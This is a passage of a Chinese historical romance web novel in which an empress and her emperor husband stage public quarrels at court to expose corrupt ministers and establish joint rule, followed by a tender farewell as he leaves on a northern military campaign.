“逾矩?”元韫浓嗤笑,“当初你要用我元氏时,怎么不说我们逾矩?我们元氏的商铺良田来的可都是真当路子,要钱要兵,哪个没用到我们元氏?怎么?如今飞鸟尽,良弓藏了!” “你!”裴令仪像是被这番话气到了。 元韫浓又上前一步,逼得裴令仪后退。 她厉声道:“这江山,本就是你我二人的江山!裴清都,没有我们元氏,你又算什么东西?” 此言一出,在座众人倒吸一口凉气。 哪怕是他们暗中作祟,此刻也不禁低下了脑袋,生怕惹火上身,震惊于元韫浓居然说出这种话。 “元应怜!”裴令仪突然挥落满桌文书,勃然踹翻御案。 他抓起镇纸砸向元韫浓。 裴令仪控制了方向,刻意避开了元韫浓,岂料元韫浓反倒是朝着那镇纸的方向而去。 翡翠镇纸“哐当”坠地砸碎,惊得老臣们纷纷垂首后退。 飞溅的翠片有一块擦着耳垂掠过,划出了一道血痕。 裴令仪瞳孔骤缩,下意识朝着元韫浓迈出一步。 “裴清都,你真是好样的。”元韫浓看向裴令仪,制止了裴令仪的动作。 裴令仪僵硬地站在原地。 元韫浓抹去耳边血痕,泣音颤颤:“这多年心血,还不如喂狗!” “喂狗?在你元应怜的眼里,我不就是你们元氏豢养的一条狗吗?”裴令仪冷嗤。 他余光瞥见那些臣子面面相觑,心中冷笑,面上却愈发阴沉:“明日起,你不必再参与朝政。” 面对元韫浓,裴令仪用唇语无声道:“留窗。” 元韫浓知道他估计连这会都熬不住,半夜得翻窗过来,难免无奈。 裴令仪转身背对元韫浓。 “谁管你!”元韫浓负气地拂袖而去。 待元韫浓踉跄着离去后,那些人又脸上堆着忧国忧民的神情迎了上来,“陛下圣明!皇后掌权,再放任下去……” 话音未落,裴令仪突然将奏章甩了过去。 “滚!”裴令仪吼道。 众人见他面色实在不佳,连滚带爬退了出去,又暗自庆幸裴令仪这回是真和元韫浓有了嫌隙。 裴令仪捏皱纸张的手指在微微发抖,无论方才元韫浓后退时那抹强撑的苍白是真是假,都足以刺痛他心。 何况是他害元韫浓受了伤。 裴令仪强忍到深夜才偷摸跑去了凤仪宫。 元韫浓在锦被里,听着窗外传来熟悉的脚步声。 裴令仪蒙露而来,翻了窗进来。 凤仪宫的宫人都是知道的。 裴令仪屏退宫人,掀开帐幔时,看见元韫浓还没睡。 元韫浓就知道他会按捺不住跑过来。 “疼不疼?”他轻轻拨开元韫浓额前碎发,指腹抚过她耳边的血痕。 元韫浓别过脸不说话,却在他握住自己冰凉的手时,反手紧紧攥住。 “阿姊演得太过了。”裴令仪闷声开口,“我刻意避开阿姊的,阿姊却偏偏凑过来。” 他将元韫浓搂进怀里,下巴抵着元韫浓发顶,“我又伤到阿姊了。” “做戏得做全套。”元韫浓顿了顿,声音放柔,“不然他们怎么信?” 元韫浓见他手指上还缠着割伤的白布,就知道他又在因为误伤到自己,而在那里捏着翡翠碎片割伤手指了。 “疼吗?”元韫浓叹气,“跟你说了多少遍了,不要自伤,也不要自苦。” 她仔细看了看裴令仪的手,“你也是心狠,对自己也这样狠得下心。又不是你伤的我,是我自己为了演得真些,往上凑的。” “哪有阿姊心狠。”裴令仪低声道。 元韫浓抬头,撞进他深不见底的黑眸。 裴令仪道:“早知道这样,就不该演这戏。” “都以为是忌惮外戚,却不想想我从未想过制衡。”他低头吻住元韫浓的唇,“我想要的是与阿姊并肩,有阿姊就够了。” 一吻结束,裴令仪取出一叠密报递给元韫浓。 “阿姊看看。”他道。 这些密报从私通北凉的书信,到收受贿赂的账册,一应俱全。 全是这些老臣及其族亲犯下的。 “还以为他们有多干净呢。”元韫浓嗤笑。 裴令仪从身后环住她,轻哼一声:“从决定共治天下那日起就知道会有今日,我与阿姊历经生死,岂会因为几句谗言生嫌隙?” 他语气渐冷,“真是碍事。” “明日朝上可不止是他们,你也要挨我骂。”元韫浓转身捏着裴令仪的脸颊晃了晃,“怕不怕?” 裴令仪笑着侧过脸,亲了一下元韫浓的手指,“又不是头一回了,怎么会怕?” 他们还年少的时候,元韫浓就为了在军中立威,拿他先去罚了一顿。 那些人果然听话了,因为见元韫浓连裴令仪这个义弟都罚,不敢再放肆。 这会只是他们都站得更高了。 “那就好。”元韫浓笑,“明天记得演像些。” 裴令仪道:“明天戏本里是阿姊要来杀我,该阿姊演得像点。” 元韫浓点头,“这倒是,可不好演。” 第二日早朝,宣政殿气氛凝重如铁。 裴令仪将弹劾奏折甩在丹墀上,声音冷得能结霜,“既然众卿都有此意,皇后想来也无话可说。” “本宫尚未言语,陛下怎么就认定本宫是无话可说了?”元韫浓的语气同样冰冷。 群臣伏地战栗间,帝后对视的眸光似刀剑相击。 现在他们昨日里没见到二人吵架那一幕的人,才信了那些传言。 本以为帝后二人正值新婚,正是如漆似胶的时候,不会真吵架呢。 如今一看这针尖对麦芒的场面,恐怕还真是吵得不轻啊。 而且陛下前几日还同皇后统一战线,不允许撤女官,今日就改主意,站在撤去女官这一边了。 两人这架势,看来今日这朝堂之上还有得吵了。 还有人添油加醋,须发戟张,“皇后居然还想再行女官令,昔有楚乐女帝,难道今日还有大裴元后吗?陛下三思——此令若行,国将不国啊!” “路卿慎言。”元韫浓面色冷凝,“设女举,开殿试,允女官参政议政,那是为了我裴国来日。她们既能做好,为何不能做?” 路大人却丝毫不肯买账,他观察了一眼裴令仪的神情,顿时有了底气,“皇后是要效仿萧楚旧事!颠覆朝政!” “好你个忠谏的臣子!本宫看你是嫌命太长了!”元韫浓怒不可遏。 那臣子原本还一副刚正不阿的模样,见元韫浓真要砍人了,顿时就软了膝盖。 “陛下救臣!”他急声高呼道。 裴令仪相当配合,倏地从龙椅上站了起来,似乎勃然大怒,“元韫浓!你是不是太过分了点?” “本宫过分?”元韫浓拔高了音量,不可置信。 孙鹃纨他们也适时跪地,“陛下息怒!殿下息怒!” 路大人借机和一众老臣们道:“今皇后不务后宫之职,反涉朝堂之权,若不严加禁绝,恐成萧楚昭阳之祸前驱啊!” “陛下!皇后僭越礼制,动摇国本不可不罚!皇后车驾出入,竟用金翟羽葆盖,服制僭用!左右女官皆着绯紫罗衫,类同三品朝服!” “此等服乘逾制、器用拟君之举,非独失后宫谦谨之德,乱尊卑之序,危社稷之本。” “后德不臧,邦国颠覆!伏惟陛下承天受命,垂拱而治,然迩来后宫动静,有失坤仪之范,臣敢冒死以闻!” “皇后统摄六宫,当以温恭贤德为范,今其行止乖张,屡犯礼法,若不加裁抑,恐上损陛下圣德,下失万民仰望!伏乞陛下宣示廷臣,共议皇后过失,或敕令闭门思过,或减其服秩,以彰家法严明、天下共仰!” 老臣们老泪纵横,令左右之人感极而悲,“臣犬马之诚,惟愿宗社永固,伏惟圣明裁断!” “皇后,你听到了吗?这可不是孤一家之言,而是众臣所见!”裴令仪道。 “这么说废黜本宫或是禁足本宫,是众望所归了?”元韫浓冷笑。 她看向孙鹃纨他们,“你们也是这么想吗?” 孙鹃纨他们立即道:“臣绝无此心!” “听见了吗?他们说他们并为此心。”凤冠垂珠扫过元韫浓的脸颊,她半眯起眼睛,“看来是陛下想要鸟尽弓藏了。” 裴令仪回道:“非我心狠,而是阿姊着实过分了。” 下一刻寒光乍现,匕首已抵住裴令仪喉间。 “陛下!”这一下子是惊得底下众臣魂飞魄散。 元韫浓把匕首往前递了递,“都住嘴!” 金错刀纹在皮肉上压出一道血痕,这下没人敢出声了。 阶下群臣屏息如寒蝉。 “当年是谁在血雨腥风中护住你的性命?”元韫浓眼尾猩红,“如今倒好了,羽翼渐丰,便要卸磨杀驴了?” 老臣们白须簌簌发抖,手中笏板险些跌落,连叩首的声音都带着哭腔:“娘娘息怒啊!” 元韫浓却充耳不闻,而是对裴令仪道:“既然都说我乱尊卑之序,想要取之而代,那我干脆现在就杀了你,自己当这皇帝,你觉得如何?” “娘娘三思啊!”臣子们连忙喊道,“此事都是我们的主意,陛下他、陛下他只是听信了谗言……” “那又如何?本宫瞧着,这皇后也没皇帝来得痛快。既然诸卿觉得本宫是越俎代庖,倒不如一不做二不休,就此效仿昭阳女帝,登基算了。”元韫浓说道。 她冰冷地注视着裴令仪,手中的匕首似乎愈发加了力道。 裴令仪看着是被胁迫得连句话都说不了,垂眼看着匕首。 第112章 骄兵悍将,杀了祭旗 这些臣子看元韫浓似乎是来真的,真要当朝弑君了,便为了保裴令仪一命,什么话都说出来了。 “陛下同娘娘二人共治天下,二圣临朝,岂不美哉?” “是啊是啊,如今北凉虎视眈眈,大裴之内仍有乱象,陛下离京之后,京华无人坐镇,唯有娘娘能解此困局!” “唯有殿下乾纲独断,才能稳住民心呐!” 元韫浓见他们如今跟方才截然不同的一副嘴脸,难免冷笑。 “诸卿这是要陷本宫于不义啊。”她道,“若开此先例,后世必骂本宫擅权。本宫还不如做这女帝,倒有昭阳女帝做了先例呢。” “殿下素有经纬之才,若拒临朝,天下苍生何依啊?”这会他们是一身正气凛然,言之凿凿。 众人纷纷以头触地,山呼:“请殿下垂怜!” 他们看向萧煜和孙鹃纨他们这些武将,几番暗示他们赶快动手,救下裴令仪。 奈何这些平日里眼观六路,耳听八方的武将这会都装聋作哑了起来,没有半点反应。 指尖抚过凤冠上的衔珠金凤,玉石冰凉,元韫浓勾起唇角,匕首挑起裴令仪的下巴,“陛下怎么看呢?” 她神态温柔妩媚到了极致就像是和情人对视,语声却是冷冷宛若清泉:“是想要与我共享,还是想下黄泉啊?” 那慵懒的姿态几问出生杀予夺的话语真是美丽又可怕。 微光投下,她的瞳孔折射出淡淡暗光,好似漩涡般。 “众卿家可听见了?我们陛下说,这江山理应有本宫一半呢。” 众臣子连连点头,“陛下圣明,皇后宽仁!这大裴就理应帝后同治,二圣临朝!” “这可是诸卿所言,并非是本宫自己所说。”元韫浓道。 臣子们更是点头如捣蒜,生怕元韫浓手下没个轻重,真把裴令仪的脖子给抹了。 元韫浓轻笑一声,随手将匕首丢到一边,“早这样不就好了吗?” 匕首正好砸落在一名老臣脚边,他赶忙一脚把匕首踢远了一些。 见元韫浓手中没有了利器,臣子们又看向了裴令仪,等待他的反应。 他们在等裴令仪是喊近卫拿下元韫浓,还是就默许了方才答应的所有。 但是裴令仪没有反应。 这就是默许了。众臣子心下有了衡量。 元彻回率先跪地高喊:“二圣临朝,乃是我裴朝社稷之福。” 有眼力见的立刻就跟随着跪地高呼:“陛下与娘娘同掌乾坤,臣等谨遵二圣训示!” “吾皇万岁,皇后千岁!” “慢着。”元韫浓喊停。 她瞥过底下心思各异的一群人,“怎么就陛下得万岁,本宫就用不着万岁了?” “陛下可是觉得,本宫先去一步,留陛下一人在世间很好啊?”她侧过脸,看向裴令仪。 自始至终沉默着任由元韫浓做主的裴令仪听了这话,才有了波澜。 他望向元韫浓,眼底含有些许愠怒,在广袖下责怪般轻轻捏了一下元韫浓的手。 元韫浓明知道他听不得这些话的。 元韫浓轻咳一声:“看来陛下也不想要本宫只是千岁啊。” 孙鹃纨和郑女幼立即领着一众女官,下拜道:“二圣万岁!” 众人皆拜。 几个老臣还想要再挣扎,元韫浓摆了摆手,“女幼,你不是有事要奏吗?” 郑女幼上前一步,“奏为某事,仰祈陛下圣鉴,娘娘懿鉴。” 霜降去把郑女幼手里的奏章接来,呈递到元韫浓面前。 元韫浓一目十行扫下来,转向裴令仪问:“陛下可还要看一看。” “皇后决定便好。”裴令仪道。 他如同傀儡般言听计从的模样,叫那些老臣痛心疾首。 “既然要本宫做主,证据确凿,那便依法处置吧。”元韫浓将奏章甩了下去。 语罢,殿门轰然洞开,金吾卫便鱼贯而入,几下轻描淡写地扣押下那些老臣之中的几人。 那些人被这毫无征兆的缉拿,金吾卫玄甲映着冷光,长刀出鞘的铮鸣惊得满殿臣子骤然色变。 “娘娘这是何意!”这几个老臣满脸惊慌。 “你们几个老东西,年纪一把,胃口倒是不小。”元韫浓缓缓起身,十二幅月华裙扫过金砖,发出窸窸窣窣的声响。 她指了一下地上的奏章,“通敌的通敌,贪污的贪污,都够本宫砍你们十几回脑袋了。” 几个老臣扫了一眼那奏章上条条款款触目惊心的罪状,惊恐地瞪大双眼,花白的胡须剧烈颤抖,“娘娘!臣等冤枉啊!这是血口喷人!” 这要是认下来,死的可不只是他一人,更是满门了。 “有什么话,跟大理寺少卿去说吧。”元韫浓摆了摆手。 几人被按倒在地,有聪明的很快反应了过来,嘶吼道:“帝后做局害我!” 孙鹃纨扯下那人身上一块官袍,塞进了他的嘴里,赌上他怨恨的话。 “真真假假,您流放路上慢慢品吧。趁自己罪还是这群人里最轻的,早做打算吧,别流放路上饿得啃囚车了。”孙鹃纨笑着拍了拍那人的脸。 金吾卫动作利落,未发出半点多余声响,很快就拖着人离开宣政殿。 满殿臣子噤若寒蝉,有人下意识后退半步,有人握紧了手中的笏板。 元韫浓扫视着众人苍白的脸色,嘴角勾起一抹若有若无的笑意,“诸卿可还有事要奏?” 一片鸦雀无声。 “那便退朝吧。”元韫浓风轻云淡道。 裴令仪轻咳两声,却没有开口说什么。 宦官高喊退朝,帝后二人率先离开殿内。 “阿姊好狠的心。”裴令仪这会才委屈道,在元韫浓面前装可怜,“拿匕首威胁我时,踩得我脚背都青了。” 元韫浓随口哄了他两句,“好了,这不是形势所迫吗?回头给你点甜头。” “什么甜头?”裴令仪眨了一下眼睛。 元韫浓想了想,朝他勾了勾手指。 裴令仪附耳过去,元韫浓耳语几句。 见裴令仪耳根微红,元韫浓忍不住发笑,没注意裴令仪直勾勾地盯着她,喉结滚动了一下。 不明所以的还有跟在裴令仪身边的那个没有脑袋,没有脑袋摸不着头脑,“为什么他们这就又改口了啊?是因为担心陛下死活吗?” 孙鹃纨一阵无语,“他们说是担心陛下死活,但也没那么担心陛下死活,只是更怕陛下真死了,殿下当了皇帝,他们都没得活罢了。” 见裴九还是一知半解的模样,孙鹃纨一阵无力。 裴九是怎么知道武艺高强,统率有方但是又意外单蠢的?真是头脑简单,四肢发达。 “裴九啊,笨是笨了些,但是胜在可爱。”元韫浓现在心情好,还夸了裴九一句。 她道:“骄兵悍将,杀了祭旗。” 元韫浓敲了一下裴九的脑袋,“都知道他是我义弟,又是一路生死相随到了这一步的新婚丈夫,连他我都能杀,其他人算什么?” 裴九这才一副恍然大悟的模样,但是裴令仪已经开始赶人了。 “你们没有什么事情要做吗?怎么还在这里?”裴令仪有些不虞。 孙鹃纨更是无语了,但是主上的话又不能不听。 她只能憋着股气,拖着裴九和萧煜告退。 “这么急着赶他们走做什么?”元韫浓觉得好笑。 “我马上就要离京了,能跟阿姊独处的时候是用一些少一些,却还要跟这些不相干的人来分阿姊。”裴令仪望着元韫浓,眼底倒映着天光云影,着实可怜可爱。 一品红开得花色最艳,开得正盛,三角梅更是这一年没有败过。 秋末冬初,初雪未落,除了冷,凛冬的感觉还没有那么浓烈。 或许是因为还没有分离,裴令仪原先没有感觉到这些的。 意识到即将离别,寒意才后知后觉地笼罩了他。 花瓣落在元韫浓的鬓边,裴令仪伸手替她拂去落花,忽然轻笑:“带他们整肃好了,我就走,若是快的话,指不定来年冬天来前,就能回来了。” “既然早去,那便早些回来。”元韫浓轻叹一声,“我盼着你早日归来,得胜归来。” 裴令仪睫毛轻颤,“只是可惜,今年陪不了阿姊过年了。” “那你早点回来,明年就可以一起过年了。”元韫浓说道。 见裴令仪只是勉强笑了笑,元韫浓点了一下他眉心,“又不是头一回远行,前世今生多少回了,还这么依依不舍呢?” 裴令仪没有说话,只是牵住了元韫浓的手。 元韫浓认真道:“一年,两年,三年,我们还会有很多的年年岁岁,还可以一起过很多年。不差这一年,你只管早些回来。” 元韫浓的遣词用句刻薄或暖和,但是裴令仪只喜欢听她说。 拂过的风并不柔和,带着极淡的花草清香气。 裴令仪微微弯起了眼睛,“好。” * 元韫浓急开了一场女科,凤仪宫外头,慕水妃新栽的常春藤攀上了墙,嫩叶舒展如新一批的女官们身上穿着的碧玉官袍。 饱含生机。 她相信即使如今凛冬已至,来一场风雪,也已经无法压垮那些茁壮生长的碧绿了。 今日的天气很好,落日余晖漫过螭吻时,元韫浓正在看廊下新结的花串。 一片黑红衣角忽地掠过眼前,带着温热气息将她笼住。 裴令仪修长的手指先一步摘下那串花穗,流苏垂落,在元韫浓眉心投下细碎的暗影。 “阿姊要摘花,怎么不叫人来帮忙?摔着阿姊了怎么办?”他将花穗簪进元韫浓发间,指尖擦过元韫浓的耳尖。 元韫浓面无表情道:“我没想摘它,只是想看看。” 裴令仪慌忙道:“我是以为阿姊想要摘它,所以才……” “得了。”元韫浓摆了摆手,“奏折批完了?” “大差不差。”裴令仪回道。 两人并肩走过太液池,水面浮光跃金。 裴令仪拉着元韫浓的手腕,青金石扳指沁着凉意,抵住了元韫浓脉搏跳动处。 “昨日御史台又谏言,说我与阿姊同寝次数过密。”他轻笑。 元韫浓扬眉,反手勾住他腰带,仰头望着他,“那陛下今夜可要去储秀宫?听说那些臣子新选上来的美人善弹箜篌,必定能与陛下的琵琶相合。” 见裴令仪的神色冷淡下来,元韫浓仍觉不够。 她笑吟吟道:“想来陛下还不知道这件事情吧?是今日他们新送进储秀宫的。若是陛下今日去储秀宫,我也好歇两日,去请沈大哥或表哥入宫来……” 话音未落,就已被裴令仪抵在汉白玉栏杆上。 裴令仪的吻落得又急又凶,撬开了唇齿,唇舌纠缠,气息缠绵。 吻了半晌裴令仪才放开她,看她在自己怀里喘息,唇似丹朱。 这一吻结束后,裴令仪与元韫浓额头相抵,轻喘着道:“阿姊何时学会说这样的浑话了?” 他认真道:“我真的不知情,一会我就叫人打发了回去。” 元韫浓伸手戳了戳他的眉心,“知道自己快要走了,还耍这种小心思?” “我不过是想和阿姊一块吃顿饭而已。”裴令仪的语气如何如何的可怜,如何如何的委屈。 “你不是一日三餐基本上都在凤仪宫用的吗?”元韫浓斜睨了他一眼。 裴令仪笑着跟元韫浓回了凤仪宫。 暮色渐浓,凤仪宫烛火次第亮起。 裴令仪陪在元韫浓身边用了晚膳,他自己喝了点酒,又以元韫浓要喝药为由,还没等元韫浓拿起酒杯就让人把酒撤走了。 侍奉元韫浓用了药,他看着元韫浓一滴不剩地喝完了,才去批的奏折,气得元韫浓牙痒。 元韫浓觉得裴令仪是故意的,看裴令仪在那里正襟危坐地批注,去扯他的袍角。 裴令仪无奈地扣住她作乱的手,在她掌心落下一吻,“阿姊别闹了。” “你自己喝得尽兴了,到我这里就是胡闹了?”元韫浓从裴令仪掌心里挣脱出来,去捏他的脸。 “若能与阿姊岁岁年年,我才不饮酒呢。”裴令仪轻叹一声,“人生苦短,枯荣百代,想到要离开阿姊那么久,只能浮一大白。” 元韫浓看出他是有些醉了,轻哼一声。 “阿姊别恼。”他凑过来哄元韫浓,“等阿姊身子再好些了,便能小酌一杯了。” 第113章 怎忍别离 元韫浓听了却怒气填胸,“什么?只能小酌一杯?” 裴令仪纠正道:“是等身子好点了,能小酌一杯。” 元韫浓勃然大怒,“还是等身子好了才能喝?” 裴令仪分明还比她小上几个月,现在却来拿作年长者的姿态来管束她了。 她原本就比周围一圈人年纪小,唯独有个裴令仪比她小一点。 就算是几个月,裴令仪也是唯一一个会喊她阿姊的人。 现在居然也来管她了。 “阿姊。”裴令仪无奈道,“饮酒伤身。” 元韫浓气得拧他脸,“伤身你还喝,不让我喝你自己喝!” 裴令仪被元韫浓捏着脸,口齿有些含糊,“我不喝了,我不喝了……” “你都喝完了!”元韫浓掐着他脖子用力晃了晃,“你现在跟我说不喝了?” 裴令仪忙问:“那阿姊想我怎么做?” 元韫浓颐指气使,“你现在就去给我挖一坛酒出来,我现在想喝梅子酒。” “梅子酒前几日不是分给沈川、慕水妃、郑女幼和孙鹃纨他们喝光了吗?”裴令仪往前靠了靠,“阿姊莫不是忘记了?” “那怎么办?我现在就要喝!”元韫浓盛气凌人。 “那不然,阿姊先解解馋?”裴令仪越说,靠得就越近。 酒气扑面而来,滚烫的唇依过来。 裴令仪俯身抱起元韫浓,压在榻上。 亲吻她像对待最心爱的珍宝,里里外外每一寸。 但裴令仪也没继续下去,平静下来后只是靠着元韫浓。 裴令仪沉得跟座无法撼动的山脉一样,压迫感太强,于是元韫浓手挨到他肩膀上推搡,想起身离榻。 裴令仪原本微微侧开了身子,见元韫浓想走,又慌忙起身抱着元韫浓的腰,将人搂回了榻上。 他急喘着紧紧抱住元韫浓,嗓音暗哑,“别走!” “我又不去哪。”元韫浓无奈地跟他一起跌回了榻上,“我就是……” “不要走……”他的不安揉碎在满室鎏金灯火里。 元韫浓叹了口气,“我看你是真的醉糊涂了。” 她想想刚才裴令仪喝的也不算多,裴令仪酒量还可以啊。 她伸手去摸了摸裴令仪的脸,并不滚烫,相反有些微凉。 裴令仪却轻轻从元韫浓试探的手里挣脱出来。 “阿姊还会离开我吗?”裴令仪将脸埋在元韫浓的颈窝,轻声问道。 裴令仪又问她这个问题了。 元韫浓转过身,捧起裴令仪的脸,“清都,你在想什么?” “阿姊在我身边,还会难过吗?”他抬眸望着元韫浓。 像是在哀求一样的眼神。 元韫浓沉默了片刻,将裴令仪搂进了怀里,下巴搁在他的头顶。 他抱紧了元韫浓的腰,“……还苦吗?” “不苦了。”元韫浓道,“从前不苦,现在不苦,来日也不会再苦了。” “谢谢……”裴令仪感叹般的,似乎是终于长舒了一口气。 他近乎虔诚,“谢谢你,阿姊。” 他感恩元韫浓重来一生,还愿意留在他的身边,愿意回顾前生的苦涩。 他感恩元韫浓的怜悯。 裴令仪说:“我不知道该怎么做,没有人教我,我也不会。我从前做的不够好,今生我会做好的。” 他不知道怎么去爱一个人,也没有人爱他,前世今生,都是他一路摸爬滚打,摸索着探究出来的。 一路磕磕绊绊,伤人伤己。 元韫浓抬起他的脸,“我教过你无数次不必自苦,你却始终做得不够好。” “我会做好的。”裴令仪眸光盈润,似乎是荡了水光。 他再次重复:“我会做好的。” 元韫浓亲吻了一下他的额头,“我信你。” “我这一去,要做的事情太多。京华之内,辛苦阿姊多加看顾。”裴令仪说道。 离京之事越迫在眉睫,他就越紧张元韫浓。 元韫浓说:“京华之内,你且放心。倒是你,一路过去,那些叛军,那些阳奉阴违的官员,还有虎视眈眈的北凉,该小心的是你。” “我不碍事。”裴令仪摇头,“这回我只带萧煜和北营军走,一路向北收复州府,到了北州,再重新部署。” “东营军和南营军你都不带吗?”元韫浓问。 裴令仪抬手摸了摸元韫浓的脸庞,“叛军不成气候,我担心的只是阿姊。” 他唯一放不下的,只有元韫浓。 所以南营军是必须留下的,因为那是元氏自己领军的。 留下裴九和东营军,则是另一层保障,万一有人趁虚而入。 再留孙鹃纨下来,孙鹃纨小事靠不住,大事却是靠谱的。 要紧的是,孙鹃纨只对元韫浓忠心。 万一有人背叛,也能保下元韫浓。 “那你便去吧,要有什么需要驰援的,修书回来。”元韫浓歪了一下脑袋,贴着裴令仪的掌心。 “好。”裴令仪在面对元韫浓的时候从来笨嘴拙舌,不知道该说些什么。 他有时候对待元韫浓总是不知所措,手忙脚乱。 想说的话有很多,但是到了嘴边又不知道说些什么。 可能想说的话,元韫浓也不想听。 前世是这样,现在也是这样。 元韫浓的掌心覆盖上裴令仪贴着她脸的手,“有什么你都要告诉我。” 裴令仪微微一怔。 “你不说,我就不会懂。从前是这样,现在也是这样。”元韫浓说道。 “我知道。”裴令仪的指腹摩挲过元韫浓的眼尾。 薄茧蹭过,有些刺痛的暖意。 他继而轻声道:“阿姊,我爱你。” “嗯。”元韫浓应了一声,仿佛很早就知道此事。 裴令仪微凉的嘴唇贴上了元韫浓的眉心,“待到万事定矣,我们,白头偕老。” 良久之后,元韫浓轻声回应:“……嗯。” 得到了元韫浓的回应之后,裴令仪终于松懈下来。 裴令仪环在元韫浓腰间的手臂逐渐收紧,额头与她轻轻相抵。 枕戈待旦已久,所求不过是这么一瞬的懈怠。 在离开前,就让他做个耽溺于此刻的软弱之人。 裴令仪离京这一天,天才蒙蒙亮,薄雾笼罩,宛若一层若有若无的轻纱。 这种乍晴乍雨的时候,就连空气里弥漫着一股子湿意,点燃的灯笼被扑得忽明忽灭。 他既盼着元韫浓来送他,又不忍见到元韫浓来。 新婚燕尔,少年夫妻。前世今生,白首之誓。 怎忍别离? 孙鹃纨是瞧不上裴令仪这点拧巴的小心思的,裴令仪舍不得元韫浓起那么早了,舍不得元韫浓来分别,倒是叫她这个做僚属的起了个大早。 孙鹃纨面无表情地问:“陛下可还有什么要吩咐的吗?” 裴令仪叹道:“我这一去,阿姊一人留在凤仪宫里,还要面对烦扰的群臣,实在是受苦了。” 孙鹃纨的白眼都快要翻上天去了。 裴令仪将凤仪宫修葺一新,砍了几百年的文柏做梁柱,假山水流不息,砗磲宝钿。 奢侈至此,受什么苦? 换了是她,她每天趴在那里数金砖都能笑醒。 裴令仪正了色,道:“大裴才立不久,大局上并不稳定。孤既带北营军离京,难保不会有人生事。若有暴动,便全杀了。” “末将明白。”孙鹃纨点头。 裴令仪留元氏和南营军是用来保元氏和元韫浓的,留裴九和东营军是保京华和元韫浓的,留她则是重点保元韫浓的。 说来说去,重要的还是元韫浓。 裴令仪平静地凝视向巍峨的宫城,道:“万一发生什么,只管保阿姊的命。其余的,一律可以舍,可以杀。” 孙鹃纨看了眼面无表情的裴令仪,点了头。 元韫浓醒来的时候,身边的位置都凉透了。 她环顾一周,半点裴令仪的影子都没瞧见。 霜降和小满带着人进来侍奉。 元韫浓问:“清都人呢?” 霜降犹疑道:“五郎一早就走了,整装待发,怕是很早就在城门口了。” “要走了也不知会一声?”元韫浓顿时怒上心头,“还提前走?专挑我睡时候走?” “五郎许是不舍当面别离呢。”小满问,“殿下可要去送一送?” 元韫浓坐到镜前,恼火道:“我现在去,他早跑得没影没边了,我送空尘去吗?” 霜降劝道:“五郎在城门口磨蹭那么久还不走,指不定就是等殿下去见临行前一面呢。” 元韫浓抬眸望向镜中自己的倒影。 去吗? “去了,他怕是早走了。他想见到我吗?还是害怕看见我?他每次都在回避我。”元韫浓喃喃道。 小满在旁道:“可殿下若是不去,怕是……” “我若不去……”元韫浓低声道。 你若不去啊,望穿他盈盈秋水,蹙损他淡淡春山。 裴令仪等到天降初雪。 他仰起头,头顶低垂的铅云压抑得让人透不过气来,雪子落下。 离京这一天,这场压抑许久的,来迟了的初雪终于落下。 “主上,何时启程?”萧煜忍不住问道。 在这里磨蹭了那么久,裴令仪一直不下令启程,等的是谁,大家都心知肚明。 裴令仪的袖袋里,藏着元韫浓及笄那年从百花冠上摘下来送给他的一朵永生花。 这事裴令仪身边的心腹都知道,因为在外的时候无事,裴令仪就会拿出来看看,再怎么珍爱都有些旧了。 “现在。”裴令仪沉声道。 雪下得急,在他肩上已积聚了薄薄的一层,铠甲锃亮冰冷。 朔风卷着细雪掠过城头,元韫浓从马车上跳下来,急匆匆地冲到了人群前。 人影幢幢,原本人来人往的城门口现下星罗密布的都是岗哨和临行的士兵。 披坚执锐的士兵拦住了元韫浓,他并非裴令仪的卫戍近侍,争执一番不得结果,见元韫浓丝毫不理睬他的警告,恼火地竖起长矛正要动手。 小满神情一变,就要拔刀。 忽地有人厉喝一声:“住手!” 裴令仪疾步而来,目光扫过士兵,极为锐利,“把兵器收起来!” 待他视线流转,落在元韫浓身上时,又柔和了下去,“是我的错,惊了阿姊。” 他的眼神分明是惶恐的。 裴令仪总是在怕,他怕的东西太多了,都恰好和元韫浓息息相关。 他显然从人群里过来很急,喘息未定,抓着元韫浓的肩膀上下扫视了一圈。 也不怪刚刚的兵士认不出元韫浓来,元韫浓来得太急了。 远处山黛冷凝如铁,元韫浓未施粉黛,披散着柔顺的黑发,显然也是着急忙慌跑来了。 她衣着单薄,只披了件狐裘大氅,攥着毛领的指尖已经冻得发白。 “阿姊怎么来了?穿得这样少,他们在怎么看顾阿姊的?”裴令仪的语气急了些,转头就要吩咐人赶紧带元韫浓回去。 风雪更大了,裴令仪的长靴踩在结了薄冰的地面上,发出咯吱咯吱的轻响来。 元韫浓直勾勾地盯着他,“你等到现在还不走,不就是在等我来吗?既然想要我来,为什么又不知会我一声,自己一声不吭就准备走了?” 裴令仪一时无言。 太冷了,元韫浓打了个寒颤,裴令仪便连忙解下了大氅披在了她身上。 裴令仪在她身边待久了,衣裳上也带着苦味。 带着微苦的草药味与淡淡的血腥气混杂在一起,不偏不倚都融入了裴令仪半拥着她的体温里。 两件大氅压在元韫浓肩膀上,她不由地抓紧了衣领子,抬头看裴令仪,“我要看到你走,再叫我发现你提前走,出征前我先打断你的腿。” 元韫浓的神色颇为认真,不知道的,还以为她在叮嘱什么温柔小意的话。 裴令仪拢了拢大氅领口,替元韫浓遮了风雪。 “好,我下次不敢了。”他笑了笑,又安静了下来。 元韫浓如此急急忙忙地跑过来,就只是为了见他一面,就这一面,马上又要离别。 他牵起元韫浓的手,任由雪花落在交叠的指尖,挂在了他的睫毛上。 “皇陵已修成,我与阿姊,可以合于一坟了。”他说道,“长公主的坟茔,我叫人迁入皇陵之中。” 裴令仪一登基就让人赶紧赶慢地修皇陵,原是在裴雍皇陵的遗址上修的。 那些工匠日夜赶工,也真的赶出来了。 元韫浓明白裴令仪要去做什么,也并没有说什么。 她以默许的姿态,点了点头,“好。” 第114章 斩,斩,斩! 元韫浓不再说话了,裴令仪朝孙鹃纨招手。 他对元韫浓道:“我叫人送你回去,阿姊回去记得喝药,切不可因为药苦而三天打鱼两天晒网的。良药苦口,但是利于病。” 裴令仪又转头去叮嘱霜降和小满,“这会风雪大,回去叫御膳房的人煮了姜汤给阿姊驱寒。炭火添得旺些,多添衣保暖,不可懒散不着鞋袜在殿内走路,别着凉了。别叫阿姊在窗边饮酒,若是染了风寒就不好了。” 他的叮咛太长了,好像元韫浓有些走神。 他望向元韫浓,“阿姊。” 两人对视,都不约而同想起昨夜急送来的军报。 带兵去北州暂代北营军镇守的西营军传来的消息,孙家的消息。 北凉异动愈甚,屡次三番地无视警告,来边境闹事。 想来不久之后就会开战了。 裴令仪此行绝不只是去收复叛乱州府,部署北州那么简单,和北凉怎么说都会有一役。 